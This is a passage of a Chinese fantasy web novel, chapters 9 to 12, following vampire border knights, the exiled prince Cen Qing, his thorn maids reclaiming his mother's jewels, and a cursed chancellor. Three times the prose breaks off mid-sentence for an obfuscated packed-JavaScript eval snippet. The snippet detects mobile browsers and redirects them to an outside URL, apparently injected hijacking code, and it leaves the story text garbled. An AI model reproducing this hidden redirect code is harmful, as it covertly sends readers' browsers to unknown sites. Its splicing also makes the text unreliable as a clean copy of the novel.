“上百？你再仔细看。”米格林出现在他右侧，单手按住他的肩膀，另一只手中提着一把长弓。弓弦断裂，弓身也变得脆弱。简单看过两眼就被他丢到一旁，神情中闪过惋惜，“附近的狼群都过来了。” 话音未落，山脊处闪出更多黑影。 它们在残雪中游走，互相保持一定距离。彼此警惕，却又配合默契。多支狼群联合展开包围，打定主意包揽这片战场。 “冬天食物匮乏，大家都饿着肚子。不能期望野兽保持理智，给我们充足的时间清理战场。”队长奥里金大步走过来，低沉的声音在众人耳边响起。 他肩扛一柄重剑，手臂也没空闲，环抱着大量短矛和锋利的树枝。树枝是从堕落树人身上获取，粗略打磨一下就能变成不错的武器。 他抬头望向天空，不出预料，捕捉到大团暗影盘旋。 黑压压，呈漩涡状。 是生活在广袤边境的鸟群，种类超过三位数，在冬天里以食腐为生。 “召集大家，马上返回坞堡，否则会有麻烦！” 奥里金经验丰富，判断情况很不妙。 经历漫长黑夜，活下来的骑士都很疲惫，几乎个个带伤。 狼群本就不好对付，再被食腐鸟缠上，恐怕有性命之危。 “它们在搜寻尸体，也不会介意用一些新鲜的。”另一名骑士队长从西面走来，她身材高挑，皮甲包裹下的身形纤细窈窕。手指推起遍布棕色斑点的头盔，清秀的面孔上横过两条疤痕，一条是旧伤，另一条还很新，像一条红色的蜈蚣爬过右脸。 “布叶特。”奥里金回头看向走来的女骑士队长，目光触及跟在她身后的队伍。每个人都抱着大捆武器，还有从尸体上扒下来的铠甲、斗篷、手套和靴子。 艰苦的战斗好似没有尽头。补给很难及时送到，送来也不够充足。 他们必须抓紧一切机会补充物资。 最艰难的时候，骑士们接近断粮，只能吸食食腐野兽的血液，从它们的身上割肉。 这些肉的味道腥臭无比，实在难以下咽。 为了生存，他们只能强行咽下去。 “奥里金，布叶特！” 另外几名骑士队长走过来，大家都是一路小跑，不自觉加快速度，越过同伴和敌人的尸体。 经历过长久的战争，众人本该对死亡习以为常。然而，看到死去的同伴，仍会生出不甘和哀伤。 如果王城派来更多增援，及时送来充足的物资，他们不必以同伴为诱饵，用坞堡设置陷阱，死伤更不该如此惨烈！ “我们需要尽快离开，退入有防御能力的坞堡。” “这里只能暂时舍弃。” 狼群越来越近，食腐鸟的威胁近在咫尺，队长们快速做出取舍。 商议妥当后，他们各自吹响号角，以最快的方式召集骑士。 众人带上搜集的战利品，飞速向坞堡方向奔去，沿途带起一阵风，掀飞地上的残雪和石块。 年轻的贵族奔跑在队伍中。 这段时日以来，他们已经和边境骑士毫无区别。 凡纳给家中写过多封书信，米格林也几番送出消息，两人的期盼完全落空，书信如石沉大海，至今没有得到回音。 或许是送信人途中遭遇意外，也或许是他们被家族抛弃。 总之，他们彻底看清一个事实：被放逐到混乱的北部边境，他们必须依靠自己，也只能依靠自己。 “王国正在衰弱，失去英明的领袖，血族找不到出路。”有年长的骑士这样说。 可惜凡纳和米格林过于年轻，无法能体会到其中深意。 骑士们没有坐骑，只能依靠双腿。 他们在雪地中奔跑，靴子早就被冻透，脚趾冰冷麻木，而后是火烧般的刺痛。 没人敢停下。 狼群已经冲上来，喘息声就在身后。 食腐鸟越聚越多，大群在天空盘旋，覆上白膜的鸟瞳带来厄运，骑士们感知到危险，跑起来更加卖力。 嗷呜—— 狼嚎声传来，狼群放弃追逐骑士，专心撕扯地上的尸体。 兽人、羽人、长毛人、血族。 以及树人。 堕落树人死后，尸体会迅速腐败，散发出难闻的朽木味道。狼群无从下嘴，只能放弃最大的家伙，朝其余目标下口。 食腐鸟拥有强大的胃口。 它们的胃酸能腐蚀金属和石头，区区朽木完全不成问题，它们能囫囵吞下去，交由胃液进行消化。 战场范围足够大，狼群和鸟群各踞一方，互不打扰，各自抓紧时间进食。 骑士们幸运地冲回坞堡，确信兽群没有追来，清点过人数，抓紧时间卸下战利品，合力扛起门栓关闭大门。 “转动绞盘，升起吊桥！” 伴随着呼喝声，厚重的大门向内合拢。吊桥升起，成为第二重防护。 坞堡外墙遭遇破坏，墙头存在大小不一的缺损。 好在主体建筑完好，野兽无法突入，防备狼群绰绰有余。至于食腐鸟，它们不喜欢靠近任何建筑，尤其是竖立箭楼的坞堡。 坞堡内的奴隶数量有限，在寒风中冻得瑟瑟发抖。 骑士们不打算挥舞鞭子，这样做纯粹是在浪费力气。他们选择亲自动手，合力转动绞盘，关闭城门，期望能撑到城外的野兽离开。 吊桥上升到一半，突然有号角声传来。 声音撕裂寒风，顷刻传遍荒野，回荡在血腥的战场。 “援军？” 骑士们迅速登上坞堡墙头，眺望声音传来的方向。 望见飞扬在风中的旗帜，众人的神情由满怀期待变成失望。 几百人。 虽然全副武装，却也称不上有力支援。 “糟糕了！” 奥里金和布叶特对视一眼，同时脸色大变。 号角声惊动狼群和食腐鸟，这支队伍惹来了大麻烦！ “快让他们停下！” 骑士队长气急败坏，奋力在高处挥手，要求来人停止前进，至少停下那该死的号角声。 可惜他们失望了。 来者非但未停，反而径直冲向坞堡。 扑簌簌的振翅声穿过头顶，骑士们仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913715|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上望，登时脸色大变。 “食腐鸟！” “他们死定了！” 没人想冲出去帮忙。 无论来者是谁，贵族也好，骑士也罢，也或许是别的身份，总之，麻烦纯粹是自找，就该自己承担后果。 事态的发展却不同预期。 鸟群俯冲而至，数百人的队伍不慌不忙，队伍众人没有减慢速度，全部以双腿控马，同时在马背上开弓，集体仰射天空。 箭矢破空，击穿目标后膨开血雾。 雾气飞速扩张，一颗狰狞的骷髅头凭空出现，张开血盆大口，吞噬更多食腐鸟。 鸟羽遭到雾气腐蚀，紧接着是皮肉和骨头。它们在天空中融化，分解成腥臭的液体，淅淅沥沥洒向地面。 望见这一幕，坞堡内的骑士倒吸一口凉气。 “骷髅骑士！” 国王的护卫队为何出现在这里？ 食腐鸟受惊，纷纷振翅飞走。 它们拥有一定智慧，懂得分析利弊。不是必须你死我亡，没必要和地上的家伙纠缠。 鸟群飞走后，狼群也不再上前。 骷髅骑士们继续前行，飞驰中兜帽脱落，现出血红色的头盔以及罩在脸上的铁面具。 “奉国王陛下命令，打开禁林通道，以便使团出行。” 来至坞堡前，骷髅骑士没有停留，也没有进驻的意图。他们向驻守的骑士通报来意，其后继续前行。 他们人数有限，不可能凭一己之力肃清北部边境。何况乱军神出鬼没，除非有数倍的兵力，很难找全他们。 骷髅骑士的使命是打穿禁林，短暂扫清沿途风险，以便出使的队伍能顺利通过。 他们会在边境停留一段时间，驻守的边境骑士将由此获益。 迟迟不至的物资即将送达，足额足量。 坞堡还能获得人员补充。未来一段时间，他们可以修补建筑，加固防御，算是一件喜事。 骷髅骑士在北部边境驻扎，当日放飞信鹰，向王城通报消息。 国王戈罗德再度召集群臣，敲定使团的最终人选。 作为联姻的倡导者，外交大臣当仁不让成为正使。 戈罗德颁发任命，扎克斯接过盖有骷髅印章的文书，当面推举多名副使。 “可以。”戈罗德没有过多考虑，全部点头应允。 过程中，以丞相巴希尔为首的势力沉默不言。 他们没有争取使团名额，戈罗德却意外关注到他们，点出其中几人加入到使团之中。 扎克斯心生不满，却也没有勇气反对。 他完全不敢开口。 这是国王一贯作风，平衡权利，掺沙子，不使任何一方绝对坐大。 足够识相才能保命。 胆敢挑战国王权威的家伙早就灰飞烟灭，死无葬身之地。 会议结束后，贵族们陆续走出王宫。 他们在城堡前上车，车轮向前滚动，与数名荆棘女仆擦身而过。 女仆们走出地牢，结束三日休整，奉岑青的命令去见左娜，准备取回殷王后的珠宝。 一队地精跟在她们身后，专门负责抬箱子。 别看他们个头不高，力气却相当大，几百斤的重量轻轻松松，随意就能扛走。 黑塔中，雕刻金蔷薇的房门后，岑青坐在高背椅上，黑发梳在脑后，现出精致的眉眼。耳上点缀一枚龙血石，身上穿着一件长外套，颜色与发色分外相称。 多名宫廷画师围着他，不错眼地看向他，试图捕捉到他的更多神韵，精准呈现在画布上。 大概是坐得有些累了，岑青变换姿势，慵懒地靠向椅背。 随着他的动作，耳坠轻轻摇晃，与明珠的光交相辉映，轻盈覆在他的颈侧，无比夺人眼球。 画师们望着他，不免有些失神。 “殷王后……”一名面容清癯的画师脱口而出。 撞见岑青的视线，他才骤然回神。 意识到自己刚刚在想什么，他脸色发白，迅速低下头。手中的画笔不慎撞上画布，红痕点入肖像眼底，意外契合，完美地烙印一抹血红。 10.第十章 城堡大厅内，国王的会议仍在继续。 戈罗德颁发多项任命，敲定使团最终人选。 这份名单照顾到各方势力，包括坚持派兵的丞相巴希尔及其拥趸，贵族们皆无异议。 扎克斯等人提议，为向雪域表达诚意，联姻之外，最好送出一批礼物。 “巫灵喜欢黄金，据说暴风城就是由黄金建造。” “古老的王室金币是最好的礼物。” 扎克斯口中的金币来历特殊，它们藏在金岩堡深处，却不属于戈罗德。确切来说，这些金币是殷王后的遗产，全该留给岑青。 戈罗德霸占了它们，却无法公开宣称拥有它们，毕竟名不正言不顺。 这几乎成为国王的心病。 与雪域联盟提上议程，送出这批金币既能向巫灵示好，也能断绝岑青继承遗产的可能。 扎克斯为此煞费苦心。 他很记仇。 只要让岑青不痛快，他就算大仇得报。 “王室金币？”戈罗德心生迟疑，对此很不情愿。 他出身贵族，可惜家族没落。在登上王位之前，他也曾率领骑士团四处征战，获取海量战利品，积攒下大笔财富。 然而，相比起殷王后的遗产，他拥有的一切总是缺乏底蕴。 见他心生动摇，扎克斯趁机添一把火：“陛下，第一王子提出的遗产中，包括殷王后的金币。” 如果不给巫灵，难道要给岑青？ 他相信国王定会有所取舍。 闻言，戈罗德抬眸看向他，阴沉的视线刺穿他的虚伪，仿佛能看清他内心最深处的算计。 国王没有计较，也没有当场揭穿。 “送给巫灵王？” 戈罗德想起岑青对他的威胁。 他笑了。 笑声越来越大，变得难以抑制。声音在大厅内回荡，近乎有些刺耳。 半晌之后，他终于笑够了。 “扎克斯，阴险的家伙，你有一颗聪明的脑袋。” 很难断言这是夸奖还是讽刺。 扎克斯艰难地扯了扯嘴角，没有合适的言辞应对，索性低下头，权当对方是在称赞自己：“陛下，这是我的荣幸。” 事情朝他希望的方向发展。 戈罗德采纳了他的建议，大手一挥，将数万枚王室金币加入礼单，专门列在第一页。 “相信雪域之主会喜欢这份礼物。”戈罗德展开羊皮卷，又一次笑了，“希望我的儿子也会。” “陛下，您有着英明的决断。”扎克斯对他竭力奉承，拥趸在一旁帮腔，毫不掩饰谄媚的态度。 其余贵族大多缄默，对此事不发表意见，只是目光闪烁不定，显然心中各有思量。 与会议厅相隔数条走廊，王后左娜的宫殿内，此刻的气氛却无比压抑，充斥着阴沉、不甘和愤懑。 数间密室门敞开，地精忙着进进出出，将一箱箱珠宝抬出房间。 这些箱子规格统一，箱盖打有相同印记，方便随时查验。 这本是左娜命人所为，方便区分不同来历的珠宝。如今却方便了荆棘女仆和地精。 茉莉手持名录守在门前，朗声说道：“全部打开，确保不遗漏一件。当然，也不要错拿。” 茉莉态度认真，一丝不苟。 她命人当着王后的面打开箱盖，取出里面所有珠宝，逐一进行核对。 殊不知，此举更让左娜心痛如绞。 地精们个头不高，力气却大得惊人。他们能扛起自身几十倍重量的箱子，两人合力更是轻轻松松，带着一座座“小山”健步如飞。 另有几名荆棘女仆站在走廊内，目送地精列队离开。同时不忘关注王后和她的女官，眼底闪烁冷光，凶狠的杀意暴露无遗。 她们不介意发生冲突，甚至在期待对方动手。 黑气萦绕在脚下，激活她们内心深处的疯狂和凶残，恶兽一般，企图择人而噬。 “这是最后五箱。”几名地精提着箱子走过，在密室门前稍作停留。 “全部核对过？”茉莉问道。 “是的。”地精诚实回答，“没有一件遗漏，多出来的已经取走。” 确认无误，茉莉翻过羊皮卷，手持炭笔，在羊皮卷的末尾处划过横线，代表殷王后的珠宝全部收回。 “不，还差一件。”一名荆棘女仆越过她，走向脸色难看的王后左娜。 王后的女官试图上前阻拦，结果被她用力挥开。 她的力气实在太大，女官们踉跄着后退，腰窝撞上桌角和摆放在室内的雕塑，发出清脆的声响，骨头近乎断裂。 不等女官们稳住身体，黑色荆棘在她们脚下疯长，缠绕女官全身，尖端对准她们的眼睛，令她们动弹不得，只能维持扭曲的姿势僵在原地。 这一幕震慑众人。 殿内的侍女和仆人仿佛被定住，无一例外大睁着双眼，当场噤若寒蝉。 年长的几人眼底闪过惊恐，瞳孔骤然收缩。 她们猛然记起早年事。 这些凶狠的荆棘女仆，她们曾经刺杀国王！ 那场战斗惨烈无比，王宫前的台阶都被血染红。至今回忆起来，仍让她们心惊肉跳，禁不住全身颤抖，指尖冰凉。 荆棘女仆来至王后面前，作势拎起裙摆弯腰。 腰弯到一半，她忽然抬起头，嘴角以诡异的弧度掀起，眼底一片冰冷：“龙血石，您不该佩戴它。” 说话间，一簇荆棘自她掌心探出，瞬间袭至左娜面门。 左娜飞身闪躲，荆棘却如影随形，精准扯断了她胸前的项链。 大颗珍珠落地，迸溅在光洁的地面上，朝不同方向翻滚。 女仆扯断珍珠项链，只取走镶嵌坠子的宝石，鲜红如血，纯正的色泽，与岑青佩戴的那枚一般无二。 “殷王后的珠宝，您没有资格佩带。”女仆语气生硬，不给左娜留半分颜面。 左娜脸色铁青，怒火充斥胸腔，尖锐的獠牙刺破牙床，双眼染上猩红。 “你放肆！”她怒视对面的女仆，周身掀起狂风，华丽的裙摆翻卷飞扬。 女仆凛然不惧，她竟然在笑。 疯狂，黑暗，充满挑衅。 她期待左娜动手，更想趁机杀死她。 “鸢尾，可以了。”茉莉收起羊皮卷，闪身出现在两人之间，伸出手臂拦住女仆。 死伤几个女官无所谓，对于王后，目前不是动手的最佳时机。 国王召集贵族议事，所有大贵族都在王宫，王后突然死了，会给殿下惹来麻烦。 王子殿下愿意维护她们，她们也该有所考量。 鸢尾清楚茉莉的顾虑，收敛起黑气，朝王后恶劣一笑，足以令对方七窍生烟。 虽然没有达成目的，女仆也不觉得遗憾。 归根结底，王后左娜微不足道，戈罗德才真正该死。 茉莉拦住同伴，得体地向王后行礼：“漫长的牢狱生活让她缺乏理智，偶尔无法控制行为，请原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919099|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谅她的失礼。” “失礼，仅仅是失礼？”左娜怒不可遏，感到异常荒谬。 她是血族王后，头戴王冠，是王国最尊贵的女人！ 她无法动岑青，难道还要忍受他的侍女？！ “您佩戴龙血石本就不合规矩。”看出对方的态度，茉莉无意继续客气，虚与委蛇是在浪费时间，索性直接挑破，“这些珠宝是殷王后的遗产，理应由岑青殿下继承。您私藏它们，佩戴它们，宣称拥有它们，并不是一件光彩的事情。” 身为一名贵族女爵，如今的血族王后，身份的确尊贵。 可这不代表一切。 左娜藏匿殷王后的珠宝，妄图抢夺继子的遗产，无疑是一件丢脸的事情。一旦传扬出去，会被所有王室和贵族耻笑。 如果不想继续丢脸，最好懂得妥协。 听出话中的威胁之意，左娜咬牙切齿却无计可施。 除非她提出更合适的联姻人选，粉碎岑青的倚仗，否则这口气她必须咽下去。 “如果您没有别的吩咐，请容许我告辞。”茉莉再次向左娜行礼，动作标准却毫无敬意。 短暂的弯腰两秒，她便直起身，叫上所有人离开王宫，抬着珠宝返回黑塔。 黑色荆棘潮水般退去，终至了无痕迹。 女官们重获自由，全部摔倒在地，各个面如土色。有两人伤势极重，荆棘的毒深入骨髓，她们每动一下都像滚在钢针上，完全是生不如死。 侍女和仆人一动不敢动，更不敢发出声音。 众人看向脸色阴沉的王后，无不心惊胆战，冷汗浸湿衣领。 “陛下……” 砰！ 眨眼时间，说话的女官倒飞出去。 她飞过大半个房间，不幸撞上墙壁，登时血色飞溅。 锋利的装饰物从背后洞穿她的身体，她被迫悬挂在墙上，鲜红涌出她的口腔，浸湿长裙。她不停咳嗽，脸色迅速灰败，因流失鲜血变得气息奄奄。 其余人惊恐万状，畏惧地看向左娜，无一人敢上前查看女官的情况。 血族生命力顽强，女官不会轻易死去，但伤在心口，她注定要饱受折磨，承受一段时间痛苦。 “岑青，殷王后的后裔。”左娜的声音阴森低沉，近乎是丛牙缝中挤出，“事情不会就此结束，来日方长，咱们走着瞧！” 城堡外，茉莉一行踏过长路，冒雪返回黑塔。 高塔中部，画师们陆续停下笔，抱起画板退出房间。他们将在黑塔中度过数日，直至画作全部完成，让岑青和戈罗德同时满意。 房门开启又关闭，岑青从桌前站起身，抬高双臂抻起懒腰。 听到乌鸦的振翅声，他迈步走到窗前，双手推开金属窗，探头向外望，正好瞧见从王宫归来的队伍。 恢复精神的荆棘女仆，她们各个脚步轻快。还有抬着箱子的地精，他们一边走一边交谈，看上去兴致高昂。 岑青双手支着窗台，默数排成长龙的箱子，不由得心情大好。 活了两世，他很少产生执念。 可一旦认定某件事，不达目的绝不罢休。 目前仅是收回些许利息，不会让仇人伤筋动骨，今后的日子还长。 思及此，岑青扬起笑容。 他在高处挥手，欢迎荆棘女仆和地精归来。 系发的宝石链松脱，黑发滑过肩膀，在风中肆意张扬。如一张黑色的网，即将铺开死亡陷阱，纠缠住无知的猎物，牵引他们走向死亡。 11.第十一章 夜深人静，血族王城寂然无声。 飞雪扬扬洒洒，凝固遍地银霜。天空中乌云密布，云层遮挡明月，不见半点星光。 夜风席卷城内，带着雪片呼啸而过。沿途敲打建筑墙体，呜咽声声，打破城内寂静。 幽暗的街道上，数道人影先后闪过。 模糊的暗影落在墙面，在火光照射下扭曲变形。光影交错，倏然间隐入雪幕，如同幻觉一场。 巡逻的士兵穿过街道，行进间铠甲碰撞，发出刺耳的摩擦声。长矛尾端划过地面，留下线状痕迹， 待队伍远去，雪地中出现轻薄的脚印。 印痕一路向西，掠过数排高大的房屋，直抵位于西城的奢华建筑，丞相巴希尔的宅邸。 这座建筑历史悠久，与王宫同时兴建，也在同一年完工。 巴希尔的祖先追随历代先王南征北战，战功彪炳，获封伯爵，并积攒下大量财富。他的家族显赫数十代，在王国内的地位举足轻重。 百年前，血族王室风云突变。 古老的血脉被夺走王权，戈罗德趁机登上王位。他以卑劣的手段获得权戒，为自己佩戴王冠，成为血族新一任统治者。 在王权交替的过程中，巴希尔的角色并不光彩。 他受到戈罗德诱骗，被贪婪的欲望蒙蔽双眼，终究被对方抓住把柄，不得不背叛殷王后，站到夺权者身后。 事成后，他被授予大量土地和财富，还升任高官。但就地位而言，他的家族未能得到任何提升，反而有一落千丈的趋势。 曾经不屑一顾的家伙，例如那些外戚，如今与他分庭抗礼，甚至站到他的头上。 家族成员们为此愤愤不平，对他的不满日益加剧。 巴希尔的妻子离开他，他的子女也郁郁不得志。尤其是他的长子，年少被寄予厚望，却宁愿继承母亲的爵位也要同他划清界限。 对此，巴希尔没有任何表态，既没有挽留也没有斥责。 日复一日，他重复身为丞相的职责，仿佛安于现状，不打算有更多辩解。 他的表现让戈罗德十分满意。 毕竟得位不正，心中总是缺乏底气。对于这些根深蒂固的大贵族，他不能全部杀死，还要加以任用，给予对方足够高的官位。 巴希尔是一个靶子，不错的代表。 王权与臣权，混入外戚势力，彼此形成微妙平衡，造成王国如今的局面。 死气沉沉，进取心彻底湮灭。 大家一同陷入淤泥，不求有功但求无过。 一时半刻没有危险，但也无法挣脱泥淖，只能清醒地看着自己沉沦。 夜色中，古老的宅邸幽暗寂静，只有三层点亮灯光，该层是巴希尔的书房。 宽敞的房间装饰豪华，弧形办公桌围拢窗前，一张高背椅放在桌后，宅邸的主人坐在椅子上，上半身靠向椅背，右臂搭着扶手，左手提着一支细长的笔杆。 在他对面的桌子上，数张羊皮卷摊开，清晰记录着王宫会议内容。 羊皮卷下压着一张信纸，从露出的页尾来看，字迹经过修饰，和羊皮卷上截然不同，却与岑青收到的密信一般无二。 向岑青通风报信的不是旁人，正是这位丞相，戈罗德的重臣巴希尔。 这是一个天大的秘密。 一旦泄露出去，王国上层势必发生震荡。 室内灯光明亮，烛光频繁跳跃，偶尔爆出声响。 窗外寒风呼啸，碎雪敲击窗棱，银白色大片压下，与室内的暖意形成鲜明对比。 巴希尔独自坐在窗前，俊朗的面孔上没有任何表情。他垂下眼眸，遮出瞳孔中的暗芒，不泄露半分情绪。 噼啪！ 焰心爆裂。 墙内的壁炉蹿升红光，焰蛇活泼跳跃，有生命一般纠缠撕扯，迸溅出点点火星。烟气夹杂着火星卷曲上行，顺着烟囱消失无踪。 黑影出现在窗外，是一只乌鸦。 它张开翅膀，完美地融入暗夜。模糊的影子透入室内，引发巴希尔警觉。 不等他有所动作，突兀的敲击声传来，大片荆棘沿着墙壁疯长。 布满尖刺的荆条堪比毒蛇，争相攀爬上窗口，前端交错延伸，覆盖大半扇窗户。 它们在风中敲打玻璃，发出刺耳的刮擦声。 巴希尔推开椅子，转身走到窗前。 他静静地站在窗台边，仰头眺望，雪色更加浓郁，映衬得荆棘愈发可怖。 乌鸦振翅远去，荆棘扭结成一股，顶端托起数道身影。 她们身着暗红色长裙，浓密的头发挽在脑后，露出饱满的前额。发上的饰物极有特色，既能作为装饰，也是致命的武器。 与来人对视片刻，巴希尔无声叹息。 他抬手推开窗户，任由冷风灌入室内，纠缠着烛火摇曳。 “荆棘女仆，你们不守在黑塔，深夜造访是为了什么？”巴希尔有一双灰色的眼睛，一种温柔的颜色，配合他的长相具有极大的迷惑性。 他外貌俊朗，气质儒雅，很容易获取人的好感。 他曾经教导先王的血脉，以宫廷教师的身份出入城堡。 正是这份经历，使他在戈罗德夺权的过程中起到关键作用，也使他的履历更不光彩。 三名女仆站在荆棘上，身体轻飘飘，仿佛没有重量。 巴希尔的宅邸足够隐秘，没有国王的探子。她们可以放心开口，不必担心情报泄露。 “奉殿下的命令，今夜过府造访。”一根荆条降下，茉莉降低高度，目光与巴希尔齐平。 “殿下？” “是的。”茉莉的视线越过巴希尔肩头，落向稍显凌乱的桌面，找到想要的东西后轻点手指，一条荆棘探入室内，取走压在羊皮卷下的信纸。 巴希尔没有阻止。 他侧身让开位置，方便茉莉取走想要的东西。 “殿下需要使臣的名单，以及队伍出发的日期。”茉莉折叠起信纸，认真收起来，“此外，需要能装备三十人的铠甲、武器和战马。” “这会引来国王注意。”巴希尔皱眉道。 “那是你该解决的问题。”茉莉不准备让步，态度十分强硬，“你发誓效忠殷王后，可你背弃了誓言。血咒会惩罚你，这是你对主人的亏欠。殿下是主人唯一的血脉，他的要求你必须完成。” 茉莉口中的主人是岑青的母亲，逝去的殷王后。 至于血咒，是对背叛的惩罚。 巴希尔抓住心口，一瞬间脸色惨白。 “我在设法弥补，我一直在赎罪。”他沉声说道。 “别为自己脸上贴金，也别妄图蒙蔽命运。你是被血咒束缚，清楚无法挣脱，为活命不得不低头。”茉莉嗤笑一声，无情地拆穿巴希尔，“你心知肚明，万一殿下遭遇不测，古老的血脉彻底消失，血咒彻底无解，你会死，你的家族也会灭亡。” “……我明白。”巴希尔艰难说道。 正因如此，他才竭力主张派兵，避免扎克斯阴谋得逞。 无奈，他失败了。 想放逐岑青，希望他消失的是戈罗德，血族的王，他的亲生父亲。 巴希尔无力扭转局面，只能眼睁睁看着势态倾斜。他对此懊恼万分，却不敢公然发泄怨恨。 “你知道该怎么做，别让殿下失望。”留下这句话，茉莉的身影向后撤去，与荆棘融为一体，很快消失在夜色之中。 其余两人冷视巴希尔片刻，警告意味十足。旋即隐去身形，与茉莉一同离开。 巴希尔站在窗前，目送荆棘女仆远去，双手用力握拳，指关节隐隐发白。指尖攥入掌心，鲜血溢出指缝，他始终一动不动，好似感觉不到丝毫疼痛。 “一时的贪念，要用毕生来偿还。我早该知道……” 他不甘受制于人，奈何无法摆脱血咒。 戈罗德的王权压在头顶，殷王后的诅咒日夜折磨着他。 巴希尔清楚自己在走钢丝，稍有不慎就会跌落深渊，就此万劫不复。 可他别无选择。 “真是可悲又可笑。” 风过庭院，淹没巴希尔的呢喃。 他转身离开书房，任由窗户大开，冷风灌入室内，吹乱桌上的羊皮卷。 大片雪花飘落，浸湿地毯，沿着窗台留下大片斑驳的暗痕。 冬日的夜晚总是格外漫长。 巡逻的士兵陆续交班，有人捕捉到一闪而逝的身影，单手揉了揉眼睛，却什么都没看到。 “奇怪，难道是错觉？” 士兵心生困惑，有心探究，腿刚刚迈出又收了回去。 扫一眼幽暗的巷道，他果断转身离开。 大概只是错觉，没必要追根究底，更不必冒险。那不是他的职责所在。 荆棘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927026|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地下潜行，女仆们附身荆棘，一路上悄无声息。 抵达黑塔前，大丛荆棘破土而出，与飞雪冲击碰撞，短暂形成一幕奇景。 茉莉三人双脚落地，拍去身上的尘土和碎雪，接连提起裙摆迈上台阶，走入敞开的塔门。 在她们身后，黑塔大门无声关闭。 门内的地精搓着双手，用力跺脚，抢在手指和脚趾冻僵之前穿过走廊，返回三楼的厨房。 那里有温暖的火炉，还有喷香的食物，与寒冷的雪夜相比简直就是天堂。 茉莉三人在旋梯前分开。 两人返回房间，抓紧时间休息。茉莉则带着信件去见岑青，及时向他复命。 火光映照下，门上的金蔷薇光芒闪烁。 茉莉逆光而行，敲响紧闭的房门。 夜色已深，岑青仍未休息。 他靠坐在床头，黑色长发松松系着，丝绸一般垂挂在右肩。他手中捧着一本翻开的日记，来自他的母亲 白光映在他的脸上，清丽的五官愈发柔和，不带丝毫攻击性。 黑瞳深处截然相反，幽暗森冷，凝固极寒，散发无尽冷意。 “殿下。”茉莉行至床尾，拿出带回的信纸。 一声轻响，日记本合拢。 岑青抬头望过去，金架上的乌鸦振翅飞过，利落地取走信纸，用尖锐的鸟喙咬住，送至岑青手中。 信纸展开，上面的字迹不太工整，应是书写人心烦意乱。 岑青一目十行扫过，单手压下信纸，短暂陷入沉思。 “出使人员确定，出发时间尚不明确，但不会太久。”他偏头凝视珠光，似在自言自语，无需任何人应声，“边境的情况肯定相当糟糕。” 茉莉伫立在床尾，见岑青肩头微颤，当即意识到不好。 她快步走上前，抢在岑青弓身时扶住他，手指触碰冰凉的皮肤，下一刻，房间内就响起咳嗽声。 “咳咳……” 咳嗽声一阵接着一阵，完全控制不住。 茉莉试图划开手腕，却被苍白的手指攥住。她无计可施，只能看着岑青陷入痛苦。 “殿下，您需要我的血！”她焦急说道。 “我说过，不要再伤害自己。”岑青左手制止茉莉，右手攥住自己的喉咙。他尝试调整呼吸，不断深吸气，胸腔内阵阵作痛，他仍不打算妥协。 茉莉挣脱不开，心情愈发焦急。 黑色荆棘冒出地面，缠绕在她腰间。锋利的尖刺即将划开她的皮肤，却遇白光阻拦，被迫缩了回去。 “殿下！” “听从命令，茉莉。” 岑青十分坚持，他平时很好说话，偶尔会表现出固执一面。 这让茉莉万分头疼。 “我是您母亲的伴生种，我为您而存在。我无法看着您承受痛苦，这是在惩罚我！” “不，茉莉，我坚持。”岑青缓和语气，咳嗽声不如先时激烈。他缓慢抬起头，脸色苍白，样子脆弱，格外惹人怜惜。 白皙的手指解开领扣，现出攀爬过锁骨的符文。 这是诅咒。 专为抑制体内的毒素。 下毒的是他的父亲，施加诅咒的是他的母亲。 前者视妻子和儿子为绊脚石，欲除之而后快。后者为了保护他，耗干最后的血，在病弱和痛苦中离世。 “离开这里，我会找到解毒的办法。”岑青合拢衬衫，咳嗽声不再激烈，急促的呼吸变得和缓，“来自西部大陆的毒，或许巫灵有解决的办法。” “卑劣的家伙，肮脏的手段！”茉莉扶着岑青靠向床头，尽可能让他舒服一些，“总有一天，我要活剥他的皮，给您做一条地毯，让您时时刻刻踩在脚下。” “这个主意不太好。”岑青苦恼摇头，显然不太赞成。 “您怜悯他？” “不。”岑青继续摇头，认真说道，“血族的皮不适合做地毯，不如抓来放血。” “您认真的？” “当然。”岑青吹起一缕掉落的额发，笑着说道：“不仅放血，还要以其人之道还治其人之身，让国王陛下也尝尝被毒折磨的滋味。” “您一定能达成所愿。” 荆棘女仆笑意盈盈，字里行间酝酿杀机。 她一定会实现殿下的愿望。 哪怕付出灵魂和生命，倾覆一切，她也在所不惜。 12.第十二章 离开岑青的房间，茉莉没有立刻返回卧室。她选择沿着楼梯向下，独自前往黑塔底层。 越向下层，走廊内越是昏暗。 